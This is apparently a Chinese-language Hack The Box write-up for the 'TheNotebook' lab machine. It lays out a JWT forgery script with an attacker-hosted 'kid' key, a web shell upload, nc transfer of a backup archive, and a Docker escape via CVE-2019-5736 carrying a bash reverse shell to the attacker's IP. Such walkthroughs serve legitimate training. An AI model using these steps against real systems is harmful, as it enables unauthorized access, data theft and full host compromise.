HTB-Hackthebox - TheNotebook

由 admin 发布

信息搜集

靶机IP

image-20210707210801997

端口扫描

nmap 10.10.10.230

Nmap scan report for 10.10.10.230
Host is up (0.14s latency).
Not shown: 996 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
4321/tcp  filtered rwhois
10010/tcp filtered rxapi

80

Web页面有注册功能以及登陆

带有添加笔记功能

测试了一下,没有sql注入,模板注入等

在解码cookie中的auth后

image-20210707211543806

带有认证,以及刚刚注册的信息中包含 admin_cap,其中值为false

尝试修改为 true,来绕过认证得到 admin权限

Web利用

由于有认证加密,所以需要生成密钥 RSASHA256

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

image-20210707211918775

安装 pyjwt

pip3 install pyjwt

exp.py

import jwt 
# first import jwt module

priv_key = '''your_generated_private_key''' 
payload = {"username":"kunal","email":"kunal@gmail.com","admin_cap":1} 
# here i can change "admin_cap" 0 to 1, because if 0 is not admin, then most probably it might be 1 let's try.

jwt = jwt.encode(payload,priv_key,algorithm='RS256',headers={"kid": "http://your_localhostip/private_key_file_name.key"})
# now encoding the jwt token

print(jwt)
# print the new jwt token.

1、填入生成密钥

2、修改信息

3、更改 kid的值

----- more -----
payload = {"username":"mengyun","email":"mengyun@gmail.com","admin_cap":1} 
# here i can change "admin_cap" 0 to 1, because if 0 is not admin, then most probably it might be 1 let's try.

jwt = jwt.encode(payload,priv_key,algorithm='RS256',headers={"kid": "http://10.10.14.4:8000/privKey.key"})
# now encoding the jwt token

print(jwt)

使用刚刚注册的账号信息

image-20210707211246388

伪造cookie

1、生成 auth值

2、开启一个临时服务器

3、在浏览器中填入值

4、刷新后会收到一条请求,代表成功

image-20210707212256465

获取shell

在伪造 cookie后,得到admin权限,上传一个木马得到shell

image-20210707212525675

在 /var/backups目录中得到 home.tar.gz

image-20210707212611096

使用 nc将其传至攻击机

接收端

nc -lvp 2233 > home.tar.gz

发送端

nc ip 2233 < home.tar.gz

移动至 noah用户

在解压 home.tar.gz后得到 noah用户密钥

ssh -i id_rsa noah@10.10.10.230

image-20210707212843036

获取 root

sudo /usr/bin/docker exec -it webapp-dev01 sh

得到 root shell,但是是 docker容器的,还需要逃逸

CVE-2019-5736

GitHub - Frichetten/CVE-2019-5736-PoC: PoC for CVE-2019-5736

下载后编辑main.go

修改为

var payload = "#!/bin/bash n bash -i >& /dev/tcp/10.10.14.4/2234 0>&1"

编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将 exp传到 docker容器内

wget 10.10.14.4:8001/main

chmod +x main

./main

image-20210707213249610

攻击机监听 2234端口

noah用户输入

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 sh
No help topic for '/bin/sh'

得到shell

image-20210707214733185


暂无评论

发表评论